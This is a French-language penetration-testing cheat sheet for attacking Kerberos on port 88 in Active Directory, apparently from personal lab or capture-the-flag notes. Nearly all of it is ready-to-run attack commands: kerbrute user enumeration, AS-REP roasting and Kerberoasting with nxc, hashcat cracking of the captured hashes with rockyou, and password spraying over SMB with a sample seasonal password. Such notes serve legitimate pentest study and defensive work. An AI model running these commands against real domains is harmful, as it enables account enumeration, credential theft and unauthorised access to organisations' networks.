Whackermelon
notes / exploitation-des-services / 88-kerberos

88 - Kerberos

sommaire

Kerberos (88) — pré-authentification Active Directory

Prérequis : nom de domaine + horloge synchronisée. Fiche détaillée : « Attaque Kerberos (AD) ».

Synchro horloge (KRB_AP_ERR_SKEW)

sudo ntpdate 10.10.10.10   ;   sudo rdate -n 10.10.10.10

Énumération d’utilisateurs (kerbrute)

kerbrute userenum -d domaine.local --dc 10.10.10.10 users.txt

AS-REP Roasting — nxc

nxc ldap 10.10.10.10 -u users.txt -p '' --asreproast asrep.txt   # sans creds (liste d'users)
nxc ldap 10.10.10.10 -u user -p pass --asreproast asrep.txt      # avec un compte (auto)
hashcat -m 18200 asrep.txt rockyou.txt

Kerberoasting — nxc

nxc ldap 10.10.10.10 -u user -p pass --kerberoasting kerb.txt
hashcat -m 13100 kerb.txt rockyou.txt

Password spraying — nxc

nxc smb 10.10.10.10 -u users.txt -p 'Printemps2024!' --continue-on-success